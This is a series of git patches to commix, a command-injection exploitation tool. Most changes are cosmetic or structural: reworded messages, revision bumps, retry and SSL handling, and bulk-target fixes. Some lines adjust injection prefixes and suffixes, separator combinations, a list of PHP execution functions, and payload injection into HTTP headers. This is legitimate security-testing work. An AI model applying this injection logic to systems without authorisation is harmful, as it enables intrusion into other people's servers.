print(settings.print_bold_info_msg(info_msg)) break @@ -122,7 +122,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, raise SystemExit() """ -Basic heuristic checks for code injection warnings +Heuristic (basic) tests for code injection warnings """ def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): injection_type = "results-based dynamic code evaluation" @@ -173,7 +173,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "." + info_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break @@ -335,16 +335,17 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Estimating the response time (in seconds) timesec, url_time_response = requests.estimate_response_time(url, timesec) + # Load modules modules_handler.load_modules(url, http_request_method, filename) if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping (basic) heuristic detection." + debug_msg = "Skipping heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Starting (basic) heuristic detection." + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Performing heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if not settings.LOAD_SESSION: @@ -373,7 +374,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time pass if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might not be injectable." + warn_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter + " might not be injectable." print(settings.print_bold_warning_msg(warn_msg)) info_msg = "Setting the" diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 0eb655d021..e1aff96b06 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -226,7 +226,7 @@ def estimate_response_time(url, timesec): if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) url_time_response = int(round(diff)) - warn_msg = "The estimated response time is " + str(url_time_response) + warn_msg = "Target's estimated response time is " + str(url_time_response) warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" if url_time_response >= 3: warn_msg += " serious" @@ -234,7 +234,7 @@ def estimate_response_time(url, timesec): if url_time_response >= 3: warn_msg += " and/or possible corruptions over the extracted data" warn_msg += "." - print(settings.print_bold_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) if int(timesec) == int(url_time_response): timesec = int(timesec) + int(url_time_response) diff --git a/src/utils/settings.py b/src/utils/settings.py index 2097511f15..94e5bcf559 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -398,8 +398,8 @@ def sys_argv_errors(): # The command injection prefixes. PREFIXES = [] PREFIXES_LVL1 = [""] -PREFIXES_LVL2 = SEPARATORS_LVL1 -PREFIXES_LVL3 = ["'", "\""] + PREFIXES_LVL2 +PREFIXES_LVL2 = SEPARATORS_LVL1 +PREFIXES_LVL3 = ["'", "\""] + PREFIXES_LVL2 # The command injection suffixes. SUFFIXES = [] @@ -408,7 +408,7 @@ def sys_argv_errors(): SUFFIXES_LVL3 = ["'", "\"", " #", "//", "\\\\"] + SUFFIXES_LVL2 # Bad combination of prefix and separator -JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", ";;" , "%7C;", "%26;", "%7C&"] +JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] # Execution functions EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"] From 28fe222b52a425e5467f6612bd8c2292d36a1bf5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 5 Apr 2022 07:32:59 +0300 Subject: [PATCH 100/560] Minor update regarding heuristic tests --- src/core/injections/controller/controller.py | 38 +++++++++++++------- src/utils/settings.py | 2 +- 2 files changed, 26 insertions(+), 14 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index d0ddb941cc..bf79b22d96 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -110,7 +110,11 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: settings.IDENTIFIED_COMMAND_INJECTION = True - info_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." + info_msg = "Heuristic (basic) tests shows that" + if not header_name == " cookie" and not the_type == " HTTP header": + info_msg += " " + str(http_request_method) + "" + info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + info_msg += the_type + check_parameter + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." print(settings.print_bold_info_msg(info_msg)) break @@ -173,7 +177,11 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "." + info_msg = "Heuristic (basic) tests shows that" + header_name + if not header_name == " cookie" and not the_type == " HTTP header": + info_msg += " " + str(http_request_method) + "" + info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + info_msg += the_type + check_parameter + " might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break @@ -339,6 +347,16 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Load modules modules_handler.load_modules(url, http_request_method, filename) + info_msg = "Setting the" + if not header_name == " cookie" and not the_type == " HTTP header": + info_msg += " " + str(http_request_method) + "" + info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + if header_name == " cookie" : + info_msg += str(header_name) + str(the_type) + str(check_parameter) + " for tests." + else: + info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests." + print(settings.print_info_msg(info_msg)) + if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping heuristic (basic) tests to the target URL." @@ -374,19 +392,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time pass if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter + " might not be injectable." + warn_msg = "Heuristic (basic) tests shows that" + header_name + if not header_name == " cookie" and not the_type == " HTTP header": + warn_msg += " " + str(http_request_method) + "" + warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + warn_msg += the_type + check_parameter + " might not be injectable." print(settings.print_bold_warning_msg(warn_msg)) - info_msg = "Setting the" - if not header_name == " cookie" and not the_type == " HTTP header": - info_msg += " " + str(http_request_method) + "" - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - if header_name == " cookie" : - info_msg += str(header_name) + str(the_type) + str(check_parameter) + " for tests." - else: - info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests." - print(settings.print_info_msg(info_msg)) - if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ menu.options.failed_tries: diff --git a/src/utils/settings.py b/src/utils/settings.py index 94e5bcf559..1b4de0309e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 151dc9c73b7f72199c8dfa5c00a2fb7935ad5fe9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 6 Apr 2022 08:04:13 +0300 Subject: [PATCH 101/560] Minor fixes and updates --- src/core/injections/controller/controller.py | 9 +++++++-- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 4 ++-- src/utils/settings.py | 2 +- 4 files changed, 11 insertions(+), 6 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index bf79b22d96..439292785c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -101,7 +101,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if cookie: request.add_header(settings.COOKIE, cookie) if inject_http_headers: - request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + #request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -144,6 +145,10 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t pass if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: for payload in settings.PHPINFO_CHECK_PAYLOADS: + if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): + payload = _urllib.parse.quote(payload) + payload = parameters.prefixes(payload, prefix="") + payload = parameters.suffixes(payload, suffix="") payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) @@ -161,7 +166,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if cookie: request.add_header(settings.COOKIE, cookie) if inject_http_headers: - request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 8875ce7923..3adf7b5ac5 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -426,7 +426,7 @@ def do_check(request): settings.CUSTOM_HEADER_NAME = http_header_name settings.CUSTOM_HEADER_VALUE = http_header_value # Add HTTP Header name / value to the HTTP request - if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: + if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and settings.CUSTOM_HEADER_INJECTION == False: request.add_header(http_header_name, http_header_value) except: pass diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 8b8974f36d..afcf01ec22 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -389,7 +389,7 @@ def prefixes(payload, prefix): specify_referer_parameter(menu.options.referer) elif settings.HOST_INJECTION == True: specify_host_parameter(menu.options.host) - + # Check if defined "--prefix" option. if menu.options.prefix: payload = settings.TESTABLE_VALUE + menu.options.prefix + prefix + payload @@ -535,7 +535,7 @@ def specify_host_parameter(host): The Custom http header based injection. """ def specify_custom_header_parameter(header_name): - settings.TESTABLE_VALUE = header_name.replace(settings.INJECT_TAG,"") + header_name = settings.CUSTOM_HEADER_NAME return header_name diff --git a/src/utils/settings.py b/src/utils/settings.py index 1b4de0309e..d5e4e40454 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 5dfd74c761620e49514154b929ec8728b352e602 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 7 Apr 2022 09:06:16 +0300 Subject: [PATCH 102/560] Fixes https://github.com/commixproject/commix/issues/753 --- src/core/injections/controller/parser.py | 13 +++++++------ src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 16631fee56..91ab8f6b5d 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -88,6 +88,13 @@ def invalid_data(request): settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:] settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1] settings.RAW_HTTP_HEADERS = '\\n'.join(settings.RAW_HTTP_HEADERS) + + if os.stat(request_file).st_size != 0: + with open(request_file, 'r') as file: + request = file.read() + else: + invalid_data(request_file) + except IOError as err_msg: error_msg = "The '" + request_file + "' " error_msg += str(err_msg.args[1]).lower() + "." @@ -95,12 +102,6 @@ def invalid_data(request): print(settings.print_critical_msg(error_msg)) raise SystemExit() - if os.stat(request_file).st_size != 0: - with open(request_file, 'r') as file: - request = file.read() - else: - invalid_data(request_file) - single_request = True pattern = r'HTTP/([\d.]+)' if len(re.findall(pattern, request)) > 1: diff --git a/src/utils/settings.py b/src/utils/settings.py index d5e4e40454..b1c3b98565 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 3489b2845ed8e9bdebe093f75cff992780b7b50d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 8 Apr 2022 07:52:48 +0300 Subject: [PATCH 103/560] Minor fix --- src/core/injections/controller/controller.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 439292785c..9697037a1b 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -73,6 +73,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, header_name = " " + str(http_request_method) settings.CLASSIC_STATE = True try: + whitespace = settings.WHITESPACES[0] if not settings.IDENTIFIED_COMMAND_INJECTION: _ = 0 for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: @@ -81,7 +82,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") - payload = checks.perform_payload_modification(payload) + payload = checks.perform_payload_modification(payload).replace(whitespace, settings.WHITESPACES[0]) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) data = None diff --git a/src/utils/settings.py b/src/utils/settings.py index b1c3b98565..f6f96b8e88 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 139fb17d7398cb2c33a452fbb346992e6c43856d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 9 Apr 2022 08:36:33 +0300 Subject: [PATCH 104/560] Minor fix --- src/core/requests/headers.py | 18 ++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 9 insertions(+), 11 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 3adf7b5ac5..986a299140 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -127,7 +127,7 @@ def http_open(self, req): except _http_client.InvalidURL as err_msg: settings.VALID_URL = False error_msg = err_msg - if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2: + if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) print(settings.print_critical_msg(error_msg)) if not settings.VALID_URL: @@ -147,7 +147,7 @@ def https_open(self, req): except _http_client.InvalidURL as err_msg: settings.VALID_URL = False error_msg = err_msg - if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2: + if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) print(settings.print_critical_msg(error_msg)) if not settings.VALID_URL: @@ -158,9 +158,8 @@ def https_open(self, req): request.get_method = lambda: settings.HTTP_METHOD _ = False - current_attempt = 0 unauthorized = False - while not _ and current_attempt <= settings.MAX_RETRIES and unauthorized is False: + while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 2: req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:" @@ -172,24 +171,23 @@ def https_open(self, req): response = opener.open(request, timeout=settings.TIMEOUT) page = checks.page_encoding(response, action="encode") _ = True + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 if settings.VERBOSITY_LEVEL < 2: - if current_attempt != 0: - info_msg = "Testing connection to the target URL." - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() if settings.INIT_TEST == True and not settings.UNAUTHORIZED: print(settings.SINGLE_WHITESPACE) if not settings.CHECK_INTERNET: settings.INIT_TEST = False except _urllib.error.HTTPError as err_msg: + if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: + print(settings.SINGLE_WHITESPACE) if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break except (_urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg: - if current_attempt == 0: + if settings.TOTAL_OF_REQUESTS == 1: if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(err_msg): print(settings.SINGLE_WHITESPACE) @@ -206,7 +204,7 @@ def https_open(self, req): print(settings.print_warning_msg(warn_msg)) info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." print(settings.print_info_msg(info_msg)) - current_attempt = current_attempt + 1 + settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 time.sleep(3) except ValueError as err: diff --git a/src/utils/settings.py b/src/utils/settings.py index f6f96b8e88..c1ad2ee19d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 3b876c139e1d663ae4db2eebed88d2aa05cc1dad Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 10 Apr 2022 09:00:08 +0300 Subject: [PATCH 105/560] Minor update --- src/core/injections/controller/checks.py | 5 +++-- src/core/main.py | 4 ++-- src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 618c1e90a6..fdf2457307 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -295,8 +295,9 @@ def check_connection(url): if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname): if not any((menu.options.proxy, menu.options.tor, menu.options.offline)): try: - info_msg = "Resolving hostname '" + hostname + "'." - print(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Resolving hostname '" + hostname + "'." + print(settings.print_debug_msg(debug_msg)) socket.getaddrinfo(hostname, None) except socket.gaierror: err_msg = "Host '" + hostname + "' does not exist." diff --git a/src/core/main.py b/src/core/main.py index e418684cff..b0a22ab88b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -217,14 +217,14 @@ def check_internet(url): The init (URL) request. """ def init_request(url): + # Check connection(s) + checks.check_connection(url) # Number of seconds to wait before timeout connection if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP timeout." print(settings.print_debug_msg(debug_msg)) if menu.options.timeout: settings.TIMEOUT = menu.options.timeout - # Check connection(s) - checks.check_connection(url) # Define HTTP User-Agent header user_agent_header() # Check the internet connection (--check-internet switch). diff --git a/src/utils/settings.py b/src/utils/settings.py index c1ad2ee19d..08b1839ad8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From ee6c46a562b129ac6dffcb473fdf2eabb48c9d9f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 11 Apr 2022 08:10:15 +0300 Subject: [PATCH 106/560] Minor update --- src/core/requests/headers.py | 6 ++++++ src/utils/settings.py | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 986a299140..d1cc8d46a9 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -129,6 +129,9 @@ def http_open(self, req): error_msg = err_msg if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) + if "ssl" in str(error_msg): + settings.VALID_URL = False + error_msg = "Can't establish SSL connection." print(settings.print_critical_msg(error_msg)) if not settings.VALID_URL: raise SystemExit() @@ -149,6 +152,9 @@ def https_open(self, req): error_msg = err_msg if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) + if "ssl" in str(error_msg): + settings.VALID_URL = False + error_msg = "Can't establish SSL connection." print(settings.print_critical_msg(error_msg)) if not settings.VALID_URL: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 08b1839ad8..19738457d9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From bd2326f4bbe954c74933337ee8d4f8bca4860b89 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 12 Apr 2022 07:36:23 +0300 Subject: [PATCH 107/560] Minor update --- src/core/injections/controller/controller.py | 36 ++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 19 insertions(+), 19 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 9697037a1b..b99289058c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -362,17 +362,17 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time else: info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests." print(settings.print_info_msg(info_msg)) - - if menu.options.skip_heuristics: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping heuristic (basic) tests to the target URL." - print(settings.print_debug_msg(debug_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Performing heuristic (basic) tests to the target URL." - print(settings.print_debug_msg(debug_msg)) - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if not settings.LOAD_SESSION: + + if not settings.LOAD_SESSION: + if menu.options.skip_heuristics: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping heuristic (basic) tests to the target URL." + print(settings.print_debug_msg(debug_msg)) + else: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Performing heuristic (basic) tests to the target URL." + print(settings.print_debug_msg(debug_msg)) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: # Check for identified warnings url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) @@ -397,13 +397,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time print(settings.print_error_msg(err_msg)) pass - if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) tests shows that" + header_name - if not header_name == " cookie" and not the_type == " HTTP header": - warn_msg += " " + str(http_request_method) + "" - warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - warn_msg += the_type + check_parameter + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + warn_msg = "Heuristic (basic) tests shows that" + header_name + if not header_name == " cookie" and not the_type == " HTTP header": + warn_msg += " " + str(http_request_method) + "" + warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + warn_msg += the_type + check_parameter + " might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ diff --git a/src/utils/settings.py b/src/utils/settings.py index 19738457d9..0fd610dcc3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 3c8e0ccc99de0a57ad626ded2179c7e407dfaa0b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 13 Apr 2022 07:24:51 +0300 Subject: [PATCH 108/560] Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`). --- doc/CHANGELOG.md | 1 + src/core/main.py | 94 +++++++++++++++++++++++------------- src/core/requests/headers.py | 1 + src/utils/settings.py | 2 +- 4 files changed, 63 insertions(+), 35 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 152b38310a..315075aa8d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for heuristic detection regarding command injections. * Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point. * Revised: Improvement regarding injecting into custom HTTP Header(s). diff --git a/src/core/main.py b/src/core/main.py index b0a22ab88b..4d7f5dfe20 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -102,7 +102,7 @@ def user_agent_header(): """ Examine the request """ -def examine_request(request): +def examine_request(request, url): try: headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). @@ -127,36 +127,27 @@ def examine_request(request): print(settings.print_critical_msg(err_msg)) raise SystemExit() - except Exception as err_msg: - if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - pass - elif menu.options.auth_type and menu.options.auth_cred: - err_msg = "The provided pair of " + menu.options.auth_type - err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" - err_msg += " seems to be invalid." - err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," - err_msg += " in order to perform a dictionary-based attack." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - pass - else: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg).replace(": "," (") + ")." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() except SocketError as e: if e.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) elif e.errno == errno.ECONNREFUSED: error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + else: + try: + err_msg = str(e.args[0]).split("] ")[1] + "." + except IndexError: + err_msg = str(e).replace(": "," (") + ")." + if menu.options.bulkfile: + print(settings.print_critical_msg(err_msg)) + warn_msg = "Skipping URL '" + url + print(settings.print_warning_msg(warn_msg)) + if settings.EOF: + print(settings.SINGLE_WHITESPACE) + return False + else: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() except _urllib.error.HTTPError as err_msg: error_description = "" @@ -164,14 +155,15 @@ def examine_request(request): error_description = "Non-standard HTTP status code" err_msg = str(err_msg).replace(": "," (") + error_description + ")." if menu.options.bulkfile: - warn_msg = "Skipping URL '" + url + "' - " + err_msg + print(settings.print_critical_msg(err_msg)) + warn_msg = "Skipping URL '" + url print(settings.print_warning_msg(warn_msg)) if settings.EOF: 